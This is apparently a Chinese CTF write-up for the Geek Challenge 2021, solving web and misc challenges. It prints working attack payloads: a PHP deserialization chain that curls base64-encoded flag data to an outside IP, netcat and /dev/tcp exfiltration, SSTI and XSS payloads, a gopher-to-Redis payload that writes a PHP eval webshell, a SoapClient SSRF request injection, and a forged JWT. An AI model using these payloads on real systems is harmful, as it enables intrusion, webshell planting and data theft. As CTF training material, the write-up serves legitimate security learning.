极客大挑战2021 部分Wp

文章目录[x]
  1. 0.1:Web
  2. 0.2:MISC

极客大挑战2021 wp

Web

1.Dark

使用洋葱浏览器打开题目所给的url,查看源码即可得到flag。

2.Welcome2021

F12发现hint:

burp抓包更改请求方式为WELCOME,打开f1111aaaggg9.php,可以在文件头看到

Welcome_Flag: SYC{WeLcom3_t0_Geek_2o21!!}

3.babysql

这题是一道基于时间的sql盲注,如果不会写脚本没关系,这题是可以用sqlmap跑出来的,浪费一点时间而已。

4.babyPOP

简单的反序列化,反序列化时触发wakeup(),同时还有destruct(),destruct()中存在一个函数调用,会触发d类中的invoke(),invoke中return了一个字符串,从而触发了toString(),最后通过exec可以实现RCE,需要说明的是exec是不存在回显的,所以我们可以通过反弹shell或者带外管道的方式获取flag,POC如下(管道做的):

<?php
class a {
    public $l;
    public static $Do_u_like_JiaRan = true;
    public static $Do_u_like_AFKL = true;
}

class b {
    private $i_want_2_listen_2_MaoZhongDu="data=$(cat /flag | base64);curl http://47.103.121.189/?data=data;";
    public function __toString()
    {
        if (a::$Do_u_like_AFKL) {
            return exec($this->i_want_2_listen_2_MaoZhongDu);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

class c {
    public $pop;
    public function __wakeup()
    {
        a::$Do_u_like_JiaRan = true;
    }
}

class d {
    public function __invoke()
    {
        a::$Do_u_like_AFKL = true;
        return "关注嘉然," . $this->value;
    }
}

class e {
    public $afkl;
    public function __destruct()
    {
        if (a::$Do_u_like_JiaRan) {
            ($this->afkl)();
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

$a=new c;
$b=new e;
$c=new d;
$d=new b;
$e=new a;
$e->l=$a;
$a->pop=$b;
$b->afkl=$c;
$c->value=$d;

echo serialize($a);

POC打不通正常,这个是我测试用的,打通的POC给我删了。。。

5.where_is_my_FUMO

这题是个正经的反弹shell,因为exec里的语句是写死了的,这段exec的意思是,我可以在攻击机上面执行在被攻击机上的命令,但是攻击机上不会有回显,可以考虑反弹shell之后外带,但是这是个图片,所以不好带,所以可以直接再起一个监听,用来收发文件:

nc -lvvnp 1234 > flag.png  //自己服务器
cat /flag.png >/dec/tcp/xxxxx/1234  //肉鸡

至于addr和port怎么传的,GET里面传个data数组就行了。

6.babyphp

f12看到提示robots,访问robots.txt,找到/noobcurl.php,跟进,发现源代码,经典ssrf,而且没有过滤。

这题是在givemeyoulove后面做的,之前看了一堆ssrf的文章,这题直接用file:///flag秒了。

SYC{U_4N0vv_Ss4f_3ovv~}

7.babypy

这题是个非常简单的SSTI,同样没有任何过滤,可以用hackbar自带的SSTI模块中的RCE秒

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
SYC{The_SsTi_1s_V3ry_funNy!}

8.蜜雪冰城甜蜜蜜

被这题烦了好久,偶然间一个瞎搞的想法居然做出来了。

f12,将随意一个饮料的id改成9,然后点这杯饮料,flag就出来了:

SYC{N1_A1_W0_Ya_W0_L0vE_Ni!}

9.雷克雅未克

EDG夺冠的地方埋着flag,这题就是伪造ip和cookie,而且提示给的太露骨了,直接X-FORWARDED-FOR就给了提示,还给了个ip反查经纬度的网站,抓包改请求头就能出flag。伪造ip用的是XFF,伪造经纬度用的是cookie,在check.php里认证一下之后会返回一串jsfuck编码,直接复制到浏览器的控制台回车即可拿到flag:

SYC{Welc0me_Rey_k_jav1_k}

10.人民艺术家

这题是个JWT伪造

做了好久没出,最后发现secret得自己手动爆破,找了个脚本。脚本用的是c写的jwtcrack,secret爆出来是1234,去jwt.io解密一下原始字符串,更改数据之后用拿到的secret加密回去,在请求头中添加:

JWT:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0aW1lIjoiMjAxOSIsIm5hbWUiOiJhZG1pbiJ9.WInN2vLaV6NMMsfu-6-foUOZ8trV9Ll2RsZ_gGd8Idk

放包会拿到flag所在的文件名fffffffffffffffffffffffffffffffflaggggu9821347981.php,打开文件即可拿到flag:

SYC{X1a0_Ch0u_hello_Why_S0_Ser10us}

11.babyxss

这题表面上是过滤了alert,但是仔细一看,替换alert为空只有一次,所以可以双写绕过,console.log可以利用闭合和分号绕了:

");alealertrt(1);</script>
Syc{W4lc0me_t0_the_w0rld_0f_x3s.}

12.Baby_PHP_Black_Magic_Enlightenment

经典php黑魔法,第一关用的是php弱类型,参数传入10000a就能过,10000加个a,PHP在比较时会将其转化为与比较值相同的数据类型,而10000a本身不是数字而是个字符串。进baby_magic.php;第二关是个经典的sha1绕过,数组绕过即可,因为sha1函数无法解析数组,如果传入数组,返回值就是NULL,两个NULL相比肯定是相等的。进baby_revenge.php;第三关可以利用sha1碰撞来打,payload太长不放这了,可以在网上搜Google找到的第一例sha1碰撞的payload来打。进here_s_the_flag.php;第四关就是经典的urlencode的二次编码绕过,把e编码两次为%25%36%35就可以拿到flag:

flag{PHP_1s_fu1king_awesome}

13.givemeyourlove

这题也是一道ssrf,但是过滤和file,dict等伪协议,这就非常难受了,而且是打内网redis,想着网上能不能找到东西一把梭,hint里面给的一个文章确实是可以的,而且不需要任何生成gopher协议标准payload的脚本,直接在bp里面二次urlencode就能打,记得hint里面给了密码,所以这题是有认证的redis,payload中要把认证的密码加上。思路就是在内网写一个webshell,然后形成RCE从而拿到flag。

*2
$4
auth
$6
123123
*1
$8
flushall
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*3
$3
set
$8
webshell
$28
<?php @eval($_GET['cmd']);?>
*1
$4
save
//以上是需要二次url编码的部分,编码完成之后用?url=gopher://127.0.0.1:6379/_...来传入
//写入马之后访问shell.php并传入cmd=system('cat /flag')

14.SoEzUnser

这题也是一个ssrf的题,首先伪协议拿到hint,说我们得先找到一个当前目录下的页面,并post一个message和url,这就是利用两个原生类:DirectoryIterator和SoupClient类来构造POP,前者是用来查看当前目录下的文件,后者是用来发送POST请求,下面贴下POC:

    <?php
    class fxxk{
        public $par0;
        public $par1;//'/www/wwwroot/ctf.rigelx.top/unserbucket/aaaaaaaaaaafxadwagaefae';
        public $par2;//="array('location' => 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php','user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',array(c,'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93');).'^^Content-Length: '. (string)strlen('message=iwantflag&url=http://47.103.121.189:2333').'^^^^'.'message=iwantflag&url=http://47.103.121.189:2333','uri'=>'text')";
        public $par3;//='unser';
        public $kelasi;
    }
    $target = "http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php";
    $post_string = 'message=iwantflag&url=http://47.103.121.189:2333';
    $a=new fxxk;
    $a->par0='SoapClient';
    $a->par1=null;
    $a->par2=array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello');
    $a->par3='unser';
    //$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
    $aaa = serialize($a);
    $aaa = str_replace('^^',"\r\n",$aaa);
    echo urlencode($aaa);

?>

15.validation

感谢fk师傅教会我手输验证码,手输1000次验证码,历经三个小时:

SYC{1f_u_are_see1ng_this_c0ntact_qq_B361g3799}

因为能力有限,所以web就只做到这里。

MISC

这里说明一下Coding题不归我管[doge]。

1.In the Air

整活题,还好我招新的时候连了WIFI[doge]。

2.easysend

用那个狐狸头的插件,发送0.1Rospten测试币到指定的地址,会返回一个哈希值,粘贴到给的网站上可以得到flag。

3.这是什么命令

无意中打开了执行的vps的2333端口中的flag.txt,发现了题目描述中的flag.txt,然后根据题目中给的指令逆一下就可以得到原始的flag.png,当然还有一把梭的版本:

curl http://110.42.233.91:2333/flag.txt | sort -n | tac | awk -F ' ' '{print $2}' | base64 -d | base64 -d > flag.png ; img2txt flag.png --nocolor --nohtml --maxLen=30

4.easycreat

利用Remix环境就可以部署合约,依然要用到狐狸头插件,Remix里面要注意版本,exp找不到了就不贴在这了。

5.今天有被破防吗?

这题给的文件很是工整,而且每个像是16进制,转成10进制,每个数都不超过255,很难不让人想到RGB,可以用Python来转换:

from PIL import Image
x = 1080 
y = 1080 

im = Image.new("RGB",(x,y))
file = open('ans.txt') 

for i in range(0,x):
  for j in range(0,y):
    line = file.readline()
    rgb = line.split(" ")
    im.putpixel((i,j),(int(rgb[0],16),int(rgb[1],16),int(rgb[2],16)))
im.show()

弄出来的图是乱的,咱比较菜,直接手动扣下来图然后拼一下(bushi)。

6.说实话挺好玩的,不是吗?

拿到压缩包,有一个加密的ans.docx,直接用passware爆破,爆出来个六位数密码,打开之后只有一句话,下意识的拖了一下,发现下面有东西,应该是空格和tab合在一起的隐写,以为是摩斯电码或者是二进制,但是都碰壁了,后来发现了snow隐写,正好我有这个工具,把内容复制到一个txt文件中,使用snow解码就能拿到flag。

7.SGA Character

一眼看出来这是标准银河字母,对着字母表直接手翻了一遍,结果前面都是废话,只有最后一句是flag。。

congratulations you have mastered the essence of this symbol.
the standard galactic alphabet is a writing system used throughout
the commander keen series. it is a simple substitution cypher where each letter in the 
latin alphabet has been substituted with a different symbol. here is  your flag am4z1ngsga1ng4m3 

8.圣嘉然

拿到一个ans2,毫无下手空间,用010打开发现了叫我们用winRAR打开,于是我下意识的就把RAR的文件头补上去了,但是winRAR打开之后什么也没有,用ntfs数据流扫了一下,里面确实有东西,于是我用7z打开,里面确实有个txt,打开之后,很明显的Emoji编码

(这里要把文字删掉)

解码之后是一个栅栏密码,遍历了所有的栅栏层数之后可以得到flag。

9.每日一溜

打开之后发现是个流量包,wireshark打开之后,找到了一个发送图片的记录,顺手把图片弄了下来,010看了一眼,后面有个1.txt,直接把图片改成rar,弄出来了1.txt,得到了一大串base64编码,但是只能解出来一行,其他的解的都是乱码,仔细看了解出来的那行,正好64位,而且和base64的表特别像,考虑是魔改的base64,换表,用解出来的那行表来解后面的加密,网上可以找base64实现的程序,把表换成自己的表跑一下就行。

10.三叶草聚会

这题一开始还没看到有一个学git,和队友探讨了一下,我们找到了一个邮箱,联想到ssh key,想到可能是用来免密登录的,而且队友在GitHub上找到了SycloverParty,猜想就是从SycloverParty的私有仓库中clone文件,而给的key就是我们假装自己是Syclover的人,拿到可以访问私有仓库的权限。

这里具体的配置就不多说了,就是要在.ssh里放一个config文件,自己配置,利用给的私钥将cake clone下来,但是打开cake中的flag之后发现,这是个假的flag,正当我想着是不是有可能出了cake还有别的东西的时候,我想起了之前在CTFHub上做的git泄露题目,有一步是查看log,我们git log一下

果然有东西,将secret回溯到上一版本,重新打开cake中的flag,真正的flag就拿到了,还有个小彩蛋hhh。

11.EzForensics

一道貌似挺简单的内存取证。

首先找默认浏览器的浏览记录,默认浏览器应该是ie浏览器,尝试iehistory无果,直接把进程dump下来,strings查看,并用grep筛了一下

拿到了域名,后来被告知这一点被我非预期了(爽qwq),第二点,找一个下载过的很怪的文件,直接filescan配合grep拿到文件名,至于为什么觉得怪(,我也不知道。

第三个是拿hostname,一开始查注册表查到ComputerName,以为拿到正确的了,后来发现不对,查了一下,注册表里面的计算机名和Hostname不一样而且不在一个地方,根据搜到的文章找到了hostname,果然只是大小写不一样。最后一个就是登录在1里面找到的域名,看看有个什么幺蛾子,用户名和密码要用mimikatz这个插件才能跑出来,不能hashdump之后用彩虹表暴力跑,跑不出来的(别问我怎么知道的)。

登录之后下载了一个音频文件,一听以为是dtmf,转换了一下,满心欢喜的交了md5的结果上去,结果说flag错了,保证前面没啥问题之后,我又仔细听了一遍,特别耳熟,而且中间还有断开的地方,这不就是摩斯电码吗!转换了一下,拿到secret:yyds,然后把所有的结果合在一起,md5之后拿到flag。

总的来说,这次极客大挑战收获满满,学到很多之前没有学过的知识,也磨练出自己做题的耐心,有时候一道题要做一两天,但是看到flag的时候,成就感拉满。侥幸拿了个好名次,希望以后再接再厉。

点赞
  1. laluen说道:

发表回复

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像